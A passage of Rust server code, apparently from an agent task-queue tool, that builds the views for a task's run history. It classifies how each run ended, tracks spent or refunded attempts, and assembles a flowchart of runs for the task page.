6315                        |p| probe.borrow_mut().status(p),
6316                        |p| probe.borrow_mut().started_at(p),
6317                    )
6318                    .pop();
6319                }
6320            }
6321        } else if scope == "chats" {
6322            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6323            view.unreadable = unreadable;
6324            for talk in &talks {
6325                if let Some(hit) = search_chat(&terms, talk) {
6326                    view.total += 1;
6327                    if view.hits.len() < SEARCH_MAX_HITS {
6328                        view.hits.push(hit);
6329                    }
6330                }
6331            }
6332            view.truncated = view.total > view.hits.len();
6333        } else {
6334            let docs = ui.queue.list().into_iter().filter_map(|t| {
6335                let mut v = serde_json::to_value(&t).ok()?;
6336                // `source` serialises as a tagged object; the label is what
6337                // the operator reads ("human", "chat@a1b2").
6338                if let Some(o) = v.as_object_mut() {
6339                    o.insert("filed_by".to_owned(), t.source_label().into());
6340                }
6341                Some((t.id, v))
6342            });
6343            search_docs(&terms, docs, &mut view);
6344        }
6345        Ok(Json(view))
6346    })
6347    .await
6348}
6349
6350/// One attempt in a task's history, as the task page lists it.
6351#[derive(Debug, Serialize)]
6352struct TaskRunView {
6353    activity: Option<String>,
6354    /// 1-based position in [`Task::runs`].
6355    n: usize,
6356    id: String,
6357    short: String,
6358    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6359    kind: &'static str,
6360    /// The run's own status string; `None` when its record cannot be read.
6361    status: Option<&'static str>,
6362    /// Whether this build could read the run's record. Counted, never hidden.
6363    readable: bool,
6364    /// A verdict from a collapsed panel is provisional, never a decision.
6365    provisional: bool,
6366    /// What kind of attempt this was, in one line.
6367    description: String,
6368    /// How it ended and why the task moved on (or what it is doing now).
6369    outcome: String,
6370    created_at: Option<Timestamp>,
6371    pr: Option<String>,
6372    /// Why this pass ended, classified once; the flowchart is built from it.
6373    exit: RunExit,
6374    /// What the pass did to the task's attempt budget.
6375    attempt: AttemptCost,
6376    /// Edge wording for leaving this entry; names the recorded cause when
6377    /// there is one.
6378    exit_label: String,
6379    /// The position of a later entry for the same run: this entry is an
6380    /// earlier pass of it.
6381    later_pass: Option<usize>,
6382    /// Which pass over the run this entry is (1-based) and how many entries
6383    /// the task lists for the run. Counted from the list, so known even for
6384    /// a legacy record.
6385    pass_n: usize,
6386    passes_of_run: usize,
6387    /// What the run recorded about this pass; `None` for a record from before
6388    /// passes were kept, whose cause stays unknown.
6389    pass: Option<PassView>,
6390    /// The branch a review-only run reopened.
6391    branch: Option<String>,
6392    /// The badge word when it differs from `status` (`stale` / `superseded`);
6393    /// filled by the task route, which can see liveness and later attempts.
6394    badge: Option<String>,
6395}
6396
6397/// One recorded pass over a run, for the wire.
6398#[derive(Debug, Clone, PartialEq, Serialize)]
6399struct PassView {
6400    index: usize,
6401    resumed: bool,
6402    started_at: Timestamp,
6403    ended_at: Option<Timestamp>,
6404    /// `open`, `parked` or `unrecorded`.
6405    end: &'static str,
6406    cause: Option<crate::run::ParkCause>,
6407    /// One line: why it stopped, or that nobody recorded why.
6408    label: String,
6409    /// What the task recorded for this pass; `None` when it was not settled
6410    /// (or settled by a build that kept no record).
6411    cost: Option<crate::queue::PassCost>,
6412}
6413
6414impl PassView {
6415    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6416        use crate::run::PassEnd;
6417        let (end, cause, label) = match &p.end {
6418            None => ("open", None, "still open".to_owned()),
6419            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6420            Some(PassEnd::Unrecorded) => (
6421                "unrecorded",
6422                None,
6423                "stopped without recording why (a crash, a kill or a restart; not known)"
6424                    .to_owned(),
6425            ),
6426        };
6427        Self {
6428            index: p.index,
6429            resumed: p.resumed,
6430            started_at: p.started_at,
6431            ended_at: p.ended_at,
6432            end,
6433            cause,
6434            label,
6435            cost: settled.map(|t| t.cost),
6436        }
6437    }
6438}
6439
6440/// How one pass over a run ended, as far as the task's life is concerned.
6441#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6442#[serde(rename_all = "snake_case")]
6443enum RunExit {
6444    Unreadable,
6445    /// An earlier pass of a run id that appears again: it stopped short.
6446    Interrupted,
6447    Parked,
6448    MachineBlocked,
6449    QuotaStall,
6450    /// Stalled on a resumed pass with quota losses on record: they may be
6451    /// left over from an earlier pass, so whether this one was refunded is
6452    /// not knowable.
6453    ResumedQuotaStall,
6454    Merged,
6455    Ready,
6456    Superseded,
6457    /// The change was already on the base under other commits: the task
6458    /// finished without this run landing anything.
6459    AlreadyInBase,
6460    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6461    Stalled,
6462    /// Blocked / no-op with a pull request left open: held for a person.
6463    HeldWithPr,
6464    NoopHeld,
6465    /// Blocked or failed: the attempt is spent and the task retries or holds.
6466    Spent,
6467    InProgress,
6468}
6469
6470#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6471#[serde(rename_all = "snake_case")]
6472enum AttemptCost {
6473    Spent,
6474    Refunded,
6475    None,
6476    /// Cannot be told from the records that remain.
6477    Unknown,
6478}
6479
6480impl RunExit {
6481    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6482        let Some(s) = s else {
6483            return Self::Unreadable;
6484        };
6485        let status = s.status;
6486        if resumed_later {
6487            Self::Interrupted
6488        } else if s.parked {
6489            Self::Parked
6490        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6491            Self::MachineBlocked
6492        } else if !status.done() {
6493            Self::InProgress
6494        } else if matches!(status, RunStatus::Merged) {
6495            Self::Merged
6496        } else if matches!(status, RunStatus::Ready) {
6497            Self::Ready
6498        } else if matches!(status, RunStatus::Superseded) {
6499            Self::Superseded
6500        } else if matches!(status, RunStatus::AlreadyInBase) {
6501            Self::AlreadyInBase
6502        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6503            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6504        {
6505            if resumed {
6506                Self::ResumedQuotaStall
6507            } else {
6508                Self::QuotaStall
6509            }
6510        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6511            Self::HeldWithPr
6512        } else if matches!(status, RunStatus::VerifiedNoop) {
6513            Self::NoopHeld
6514        } else if matches!(status, RunStatus::Stalled) {
6515            Self::Stalled
6516        } else {
6517            Self::Spent
6518        }
6519    }
6520
6521    fn cost(self) -> AttemptCost {
6522        match self {
6523            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6524            Self::Merged
6525            | Self::Ready
6526            | Self::Stalled
6527            | Self::HeldWithPr
6528            | Self::NoopHeld
6529            | Self::Spent => AttemptCost::Spent,
6530            Self::InProgress => AttemptCost::None,
6531            Self::AlreadyInBase => AttemptCost::Refunded,
6532            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6533                AttemptCost::Unknown
6534            }
6535        }
6536    }
6537
6538    /// Short edge wording for leaving a run this way.
6539    fn edge_label(self, status: Option<&str>) -> String {
6540        match self {
6541            Self::Unreadable => "record unreadable".to_owned(),
6542            Self::Interrupted => "interrupted before the run finished".to_owned(),
6543            Self::Parked => "parked, attempt refunded".to_owned(),
6544            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6545            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6546            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6547            Self::Merged => "merged".to_owned(),
6548            Self::Ready => "ready, not merged".to_owned(),
6549            Self::Superseded => "superseded by a later attempt".to_owned(),
6550            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6551            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6552            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6553            Self::NoopHeld => "verified no-op".to_owned(),
6554            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6555            Self::InProgress => "in progress".to_owned(),
6556        }
6557    }
6558
6559    /// Does a task in `end` follow from a run that ended this way? When not,
6560    /// somebody closed or held the task by hand.
6561    fn explains(self, end: TaskStatus) -> bool {
6562        match self {
6563            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6564            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6565            Self::Unreadable | Self::Superseded | Self::Ready => true,
6566            _ => end != TaskStatus::Done,
6567        }
6568    }
6569}
6570
6571/// `GET /api/queue/{id}` - one task with every attempt it went through.
6572#[derive(Debug, Serialize)]
6573struct TaskDetailView {
6574    #[serde(flatten)]
6575    task: TaskView,
6576    /// Task override, or the default daemon budget when inherited.
6577    /// A separate loop's command-line limit is not visible from here.
6578    max_attempts: usize,
6579    history: Vec<TaskRunView>,
6580    /// Entries in `history`: passes over runs, not distinct runs and not
6581    /// attempts consumed (`task.attempts`).
6582    passes_total: usize,
6583    /// Distinct runs those passes belong to.
6584    runs_distinct: usize,
6585    flow: FlowView,
6586    /// Set for a follow-up task; see [`followup_origin`].
6587    followup_origin: Option<FollowUpOrigin>,
6588    /// How many entries of `history` could not be read.
6589    runs_unreadable: usize,
6590    /// Why the attempt count can be lower than the number of runs.
6591    attempts_note: &'static str,
6592}
6593
6594const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6595and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6596on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6597the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6598
6599/// The branch a review-only run reopened, read off the instruction
6600/// `Runner::open_review` writes.
6601fn review_branch_of(instruction: &str) -> Option<&str> {
6602    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6603    rest.split('`').next().filter(|b| !b.is_empty())
6604}
6605
6606/// Where an entry sits in a task's run list.
6607#[derive(Default)]
6608struct RunSlot<'a> {
6609    /// 1-based position.
6610    n: usize,
6611    /// The same run id appeared earlier: this pass resumed it.
6612    resumed: bool,
6613    /// Position of a later pass over the same run id, if any.
6614    resumed_later: Option<usize>,
6615    /// The previous distinct run and how it ended, for the retry note.
6616    prior: Option<(&'a str, RunStatus)>,
6617    last: bool,
6618    /// This pass as the run recorded it, when it did.
6619    pass: Option<&'a crate::run::RunPass>,
6620    /// What the task recorded when it settled this pass.
6621    settled: Option<&'a crate::queue::TaskPass>,
6622    /// 1-based position among the task's entries for this run, and their count.
6623    pass_n: usize,
6624    passes_of_run: usize,
6625}
6626
6627/// Describe one entry of a task's run list. Pure: everything it needs is on
6628/// the run and the task, so it is asserted without a server.
6629fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6630    let RunSlot {
6631        n,
6632        resumed,
6633        resumed_later,
6634        prior,
6635        last,
6636        pass,
6637        settled,
6638        pass_n,
6639        passes_of_run,
6640    } = at;
6641    let short = run::short_of(id).to_owned();
6642    let Some(s) = state else {
6643        return TaskRunView {
6644            activity: None,
6645            n,
6646            id: id.to_owned(),
6647            short,
6648            kind: "unknown",
6649            status: None,
6650            readable: false,
6651            provisional: false,
6652            description:
6653                "This run's record could not be read by this build (written by a different \
6654                          magi, or removed), so what kind of attempt it was is unknown."
6655                    .to_owned(),
6656            outcome: String::new(),
6657            created_at: None,
6658            pr: None,
6659            exit: RunExit::Unreadable,
6660            attempt: AttemptCost::Unknown,
6661            exit_label: RunExit::Unreadable.edge_label(None),
6662            later_pass: resumed_later,
6663            pass_n,
6664            passes_of_run,
6665            pass: None,
6666            branch: None,
6667            badge: None,
6668        };
6669    };
6670    let branch = review_branch_of(&s.instruction);
6671    let kind = if resumed {
6672        "resume"
6673    } else if branch.is_some() {
6674        "review"
6675    } else if task.solo || s.candidates.len() == 1 {
6676        "solo"
6677    } else {
6678        "competition"
6679    };
6680    let mut description = match kind {
6681        "resume" => {
6682            format!("Resumed run {short}: the same run carried on instead of competing again.")
6683        }
6684        "review" => format!(
6685            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6686            branch.unwrap_or_default()
6687        ),
6688        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6689        _ => format!(
6690            "Competition: {} candidates judged blind.",
6691            s.candidates.len().max(1)
6692        ),
6693    };
6694    if !resumed && let Some((p, st)) = prior {
6695        description.push_str(&format!(
6696            " A retry: run {p} before it ended {}.",
6697            st.display_label()
6698        ));
6699    }
6700
6701    let status = s.status;
6702    let provisional = matches!(status, RunStatus::Stalled)
6703        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6704    let head = if resumed_later.is_some() {
6705        String::new()
6706    } else {
6707        match status {
6708            RunStatus::Merged => "Merged.".to_owned(),
6709            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6710            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6711            RunStatus::AlreadyInBase => {
6712                "Already in the base: this change landed under other commits, nothing was left to land."
6713                    .to_owned()
6714            }
6715            RunStatus::Stalled => {
6716                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6717                    .to_owned()
6718            }
6719            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6720            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6721            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6722            RunStatus::VerifiedNoop => {
6723                "Verified no-op: the candidates found nothing to change.".to_owned()
6724            }
6725            other if other.done() => format!("Ended {}.", other.display_label()),
6726            other => format!("In progress ({}).", other.display_label()),
6727        }
6728    };
6729    let view = pass.map(|p| PassView::of(p, settled));
6730    let recorded_end = view
6731        .as_ref()
6732        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6733    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6734        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6735        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6736        None => "whether its attempt was handed back was not recorded",
6737    };
6738    let pass_note = if passes_of_run > 1 {
6739        format!(
6740            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6741        )
6742    } else {
6743        String::new()
6744    };
6745    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6746        // The run recorded this pass's end when it happened.
6747        let cause = match v.end {
6748            "parked" => format!("It was stopped on purpose: {}.", v.label),
6749            _ => format!("It {}.", v.label),
6750        };
6751        format!(
6752            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6753            capitalise(cost_words)
6754        )
6755    } else if let Some(k) = resumed_later {
6756        // A run is only picked up again while it is unfinished, so an earlier
6757        // pass of a repeated id stopped short; the record keeps only the run's
6758        // latest status, which is left to the pass that carried it on.
6759        // Only the latest state is recorded: `parked` is cleared on resume
6760        // and `quota` accumulates across passes, so neither says why *this*
6761        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6762        let cause = if s.quota.is_empty() {
6763            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6764        } else {
6765            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6766        };
6767        format!(
6768            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6769        )
6770    } else if s.parked {
6771        match recorded_end.and_then(|v| v.cause.as_ref()) {
6772            Some(cause) => format!(
6773                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6774                cause.label(),
6775                cost_words
6776            ),
6777            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6778                .to_owned(),
6779        }
6780    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6781        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6782    } else if !status.done()
6783        || matches!(
6784            status,
6785            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6786        )
6787    {
6788        String::new()
6789    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6790        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6791    {
6792        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6793            .to_owned()
6794    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6795        " It left a pull request open, so the task was held for a person rather than retried."
6796            .to_owned()
6797    } else if matches!(status, RunStatus::VerifiedNoop) {
6798        " Held for a person to check the claim.".to_owned()
6799    } else if last {
6800        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6801    } else {
6802        " It spent an attempt, and the task moved on to the next run.".to_owned()
6803    };
6804    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6805    let mut attempt = exit.cost();
6806    let mut exit_label = None;
6807    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6808        let spent = match v.cost {
6809            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6810            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6811            None if resumed_later.is_some() => ", refund not recorded",
6812            None => ", attempt refunded",
6813        };
6814        attempt = match v.cost {
6815            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6816            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6817            None if resumed_later.is_some() => AttemptCost::Unknown,
6818            None => attempt,
6819        };
6820        if v.end == "parked" {
6821            exit = RunExit::Parked;
6822            exit_label = Some(match v.cause.as_ref() {
6823                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6824                    format!("parked for {}{spent}", c.label())
6825                }
6826                Some(c) => format!("parked ({}){spent}", c.label()),
6827                None => format!("parked{spent}"),
6828            });
6829        } else {
6830            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6831        }
6832    }
6833    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6834    TaskRunView {
6835        activity: None,
6836        n,
6837        id: id.to_owned(),
6838        short,
6839        kind,
6840        status: Some(status.as_str()),
6841        readable: true,
6842        provisional,
6843        description,
6844        outcome: format!("{head}{why}"),
6845        created_at: Some(s.created_at),
6846        pr: s.pr.as_ref().map(|p| p.url.clone()),
6847        exit,
6848        attempt,
6849        exit_label,
6850        later_pass: resumed_later,
6851        pass_n,
6852        passes_of_run,
6853        pass: view,
6854        branch: branch.map(str::to_owned),
6855        badge: None,
6856    }
6857}
6858
6859fn capitalise(s: &str) -> String {
6860    let mut c = s.chars();
6861    c.next().map_or_else(String::new, |f| {
6862        f.to_uppercase().collect::<String>() + c.as_str()
6863    })
6864}
6865
6866/// One box of the task's flowchart.
6867#[derive(Debug, Serialize, PartialEq)]
6868struct FlowNode {
6869    /// Unique by position: a resumed run id appears once per pass.
6870    key: String,
6871    /// `chat`, `followup`, `start`, `run` or `end`.
6872    kind: &'static str,
6873    label: String,
6874    /// Run status (or the task's, for `end`); `None` when it is not a fact
6875    /// about this box (unreadable, or a pass the run later resumed from).
6876    status: Option<&'static str>,
6877    /// Whose status `status` is, so the client picks the right colour table:
6878    /// `task` (the `followup` parent and `end`) or `run`.
6879    status_of: &'static str,
6880    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6881    note: Option<&'static str>,
6882    run_kind: Option<&'static str>,
6883    detail: Option<String>,
6884    /// A readable run with a real verdict; a stall never is.
6885    decided: bool,
6886    readable: bool,
6887    href: Option<String>,
6888    /// Overrides `status` as the badge word (`stale` / `superseded`).
6889    badge: Option<String>,
6890    /// Start of this entry, never the run's latest update or pass settlement.
6891    started_at: Option<Timestamp>,
6892    /// Context links (chat / follow-up) do not represent execution entries.
6893    time_expected: bool,
6894}
6895
6896#[derive(Debug, Serialize, PartialEq)]
6897struct FlowEdge {
6898    from: String,
6899    to: String,
6900    label: String,
6901    attempt: AttemptCost,
6902}
6903
6904#[derive(Debug, Serialize, PartialEq)]
6905struct FlowView {
6906    nodes: Vec<FlowNode>,
6907    edges: Vec<FlowEdge>,
6908    /// Attempts the task has counted since it was last released.
6909    attempts: usize,
6910    max_attempts: usize,
6911    /// Entries in the run list (passes), and how many distinct runs they are.
6912    /// Neither is the number of attempts consumed.
6913    passes: usize,
6914    runs: usize,
6915}
6916
6917/// Turn a task and its described runs into the flowchart's boxes and arrows.
6918/// Pure: the page only draws what this returns.
6919///
6920/// Preserve filing provenance while also linking the task's companion chat.
6921fn task_flow(
6922    task: &Task,
6923    history: &[TaskRunView],
6924    max_attempts: usize,
6925    origin: Option<&FollowUpOrigin>,
6926) -> FlowView {
6927    let max_attempts = task.effective_attempt_limit(max_attempts);
6928    let node = |key: &str, kind, label: String| FlowNode {
6929        key: key.to_owned(),
6930        kind,
6931        label,
6932        status: None,
6933        status_of: "run",
6934        note: None,
6935        run_kind: None,
6936        detail: None,
6937        decided: false,
6938        readable: true,
6939        href: None,
6940        badge: None,
6941        started_at: None,
6942        time_expected: matches!(kind, "start" | "run" | "end"),
6943    };
6944    let mut nodes = Vec::new();
6945    let mut edges: Vec<FlowEdge> = Vec::new();
6946    let filed = task.filed_by_chat();
6947    let companion = task
6948        .chat
6949        .as_deref()
6950        .filter(|_| task.chat_reservation != crate::queue::ChatReservation::Pending);
6951    if let Some(id) = filed.or(companion) {
6952        let label = if filed.is_some() {
6953            "Chat"
6954        } else {
6955            "Companion chat"
6956        };
6957        let mut n = node(
6958            "chat",
6959            "chat",
6960            format!("{label} {}", crate::queue::short(id)),
6961        );
6962        n.href = Some(id_links::page_href("chat", id));
6963        nodes.push(n);
6964        edges.push(FlowEdge {
6965            from: "chat".to_owned(),
6966            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6967            label: if filed.is_some() {
6968                "queued from chat"
6969            } else {
6970                "linked chat"
6971            }
6972            .to_owned(),
6973            attempt: AttemptCost::None,
6974        });
6975    }
6976    if let Some(o) = origin {
6977        let mut n = match &o.parent {
6978            Some(p) => {
6979                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6980                n.status = Some(p.status);
6981                n.status_of = "task";
6982                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6983                n.href = Some(p.href.clone());
6984                n
6985            }
6986            None => {
6987                let mut n = node(
6988                    "origin",
6989                    "followup",
6990                    format!("Follow-up of run {}", o.run.short),
6991                );
6992                n.detail = Some("merged run".to_owned());
6993                n.status = o.run.status;
6994                n.href = o.run.href.clone();
6995                if o.run.href.is_none() {
6996                    n.readable = false;
6997                    n.note = Some("unreadable");
6998                }
6999                n
7000            }
7001        };
7002        n.decided = true;
7003        let from = n.key.clone();
7004        nodes.push(n);
7005        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
7006        let more = o.findings.len().saturating_sub(shown.len());
7007        let label = match (shown.is_empty(), more) {
7008            (true, _) => "open findings".to_owned(),
7009            (false, 0) => format!("open findings {}", shown.join(", ")),
7010            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
7011        };
7012        edges.push(FlowEdge {
7013            from,
7014            to: "start".to_owned(),
7015            label,
7016            attempt: AttemptCost::None,
7017        });
7018    }
7019    let mut start = node("start", "start", "Task queued".to_owned());
7020    start.started_at = Some(task.created_at);
7021    nodes.push(start);
7022    let mut prev = "start".to_owned();
7023    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
7024    for (i, h) in history.iter().enumerate() {
7025        let key = format!("run-{}", h.n);
7026        let mut n = node(&key, "run", format!("Run {}", h.short));
7027        // Creation marks only the first pass of legacy runs. A resumed pass
7028        // without a record must not inherit the original run's start time.
7029        n.started_at = h
7030            .readable
7031            .then(|| {
7032                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
7033                    h.created_at
7034                } else {
7035                    None
7036                })
7037            })
7038            .flatten();
7039        n.run_kind = Some(h.kind);
7040        n.readable = h.readable;
7041        n.href = Some(format!("#/runs/{}", h.id));
7042        n.decided = h.readable && !h.provisional;
7043        n.detail = h
7044            .branch
7045            .as_ref()
7046            .map(|b| format!("review-only run of branch {b}"));
7047        match h.exit {
7048            RunExit::Unreadable => n.note = Some("unreadable"),
7049            RunExit::Interrupted => n.note = Some("interrupted"),
7050            // An earlier pass the run recorded as parked: the status shown
7051            // would be the run's current one, not this pass's.
7052            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
7053            _ => {
7054                n.status = h.status;
7055                n.badge = h.badge.clone();
7056                if h.provisional {
7057                    n.note = Some("no verdict");
7058                }
7059            }
7060        }
7061        let into = match h.kind {
7062            "review" => Some(format!(
7063                "review-only run of branch {}",
7064                h.branch.as_deref().unwrap_or("?")
7065            )),
7066            "resume" => Some("resume the same run".to_owned()),
7067            _ if i > 0 => Some("retry".to_owned()),
7068            _ => None,
7069        };
7070        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
7071        let label = match (prev_exit, into) {
7072            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
7073            (Some((_, l, _)), None) => l,
7074            (None, Some(i)) => i,
7075            (None, None) => "claimed".to_owned(),
7076        };
7077        edges.push(FlowEdge {
7078            from: prev.clone(),
7079            to: key.clone(),
7080            label,
7081            attempt,
7082        });
7083        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
7084        prev = key;
7085        nodes.push(n);
7086    }
7087    let mut end = node("end", "end", task.status.as_str().to_owned());
7088    end.status = Some(task.status.as_str());
7089    end.status_of = "task";
7090    // Other task states do not persist their transition start. In particular,
7091    // blocked_at can change while the task remains blocked.
7092    if task.status == TaskStatus::Held {
7093        end.started_at = task.held_at;
7094    }
7095    nodes.push(end);
7096    let (label, attempt) = match prev_exit {
7097        None => (
7098            format!("no run yet \u{2192} {}", task.status.as_str()),
7099            AttemptCost::None,
7100        ),
7101        Some((e, l, cost)) if e.explains(task.status) => {
7102            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
7103        }
7104        Some((_, _, cost)) => (
7105            format!("closed by hand: task is {}", task.status.as_str()),
7106            cost,
7107        ),
7108    };
7109    edges.push(FlowEdge {
7110        from: prev,
7111        to: "end".to_owned(),
7112        label,
7113        attempt,
7114    });
7115    FlowView {
7116        nodes,
7117        edges,
7118        attempts: task.attempts,
7119        max_attempts,
7120        passes: history.len(),
7121        runs: distinct_runs(&task.runs),
7122    }
7123}
7124
7125/// How many different run ids a task's run list names.
7126fn distinct_runs(runs: &[String]) -> usize {
7127    let mut seen: Vec<&str> = Vec::new();
7128    for r in runs {
7129        if !seen.contains(&r.as_str()) {
7130            seen.push(r);
7131        }
7132    }
7133    seen.len()
7134}
7135
7136/// Describe recorded task passes, retaining unrecorded legacy list entries.
7137fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
7138    let mut slots = Vec::new();
7139    let mut seen = Vec::new();
7140    for run_id in &task.runs {
7141        if seen.contains(&run_id) {
7142            continue;
7143        }
7144        seen.push(run_id);
7145        let state = read(run_id);
7146        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
7147            s.passes
7148                .iter()
7149                .filter(|p| {
7150                    p.task_entry
7151                        || task
7152                            .passes
7153                            .iter()
7154                            .any(|t| t.run == *run_id && t.pass_index == p.index)
7155                })
7156                .cloned()
7157                .collect()
7158        });
7159        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
7160        let total = legacy_count.max(mine.len());
7161        let offset = total - mine.len();
7162        for k in 0..total {
7163            // Legacy repeated entries retain their original positions. When
7164            // ids are unique, recorded pass times recover the resume order.
7165            let position = task
7166                .runs
7167                .iter()
7168                .enumerate()
7169                .filter(|(_, r)| *r == run_id)
7170                .nth(k.min(legacy_count - 1))
7171                .unwrap()
7172                .0;
7173            slots.push((
7174                run_id,
7175                state.clone(),
7176                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
7177                position,
7178            ));
7179        }
7180    }
7181    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
7182        slots.sort_by_key(|(_, state, pass, _)| {
7183            pass.as_ref()
7184                .map(|p| p.started_at)
7185                .or_else(|| state.as_ref().map(|s| s.created_at))
7186                .map_or((true, task.created_at), |at| (false, at))
7187        });
7188    } else {
7189        slots.sort_by_key(|(_, _, _, position)| *position);
7190    }
7191    let mut history = Vec::with_capacity(slots.len());
7192    let mut seen: Vec<&str> = Vec::new();
7193    let mut prior: Option<(&str, RunStatus)> = None;
7194    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
7195        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
7196        let resumed = k > 0;
7197        seen.push(run_id);
7198        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
7199        let pass = pass.as_ref();
7200        let settled = pass.and_then(|p| {
7201            task.passes
7202                .iter()
7203                .find(|t| t.run == **run_id && t.pass_index == p.index)
7204        });
7205        history.push(task_run_view(
7206            run_id,
7207            state.as_ref(),
7208            RunSlot {
7209                n: i + 1,
7210                resumed,
7211                resumed_later: slots[i + 1..]
7212                    .iter()
7213                    .position(|(id, _, _, _)| id == run_id)
7214                    .map(|off| i + off + 2),
7215                prior,
7216                last: i + 1 == slots.len(),
7217                pass,
7218                settled,
7219                pass_n: k + 1,
7220                passes_of_run: total,
7221            },
7222            task,
7223        ));
7224        if let Some(s) = &state {
7225            prior = Some((run::short_of(run_id), s.status));
7226        }
7227    }
7228    history
7229}
7230
7231/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
7232/// An earlier pass of a resumed run keeps no badge (it has no status box).
7233fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
7234    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
7235        return;
7236    }
7237    let (_, claimed, _) = run_row_inputs(ui);
7238    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
7239    for h in history
7240        .iter_mut()
7241        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
7242    {
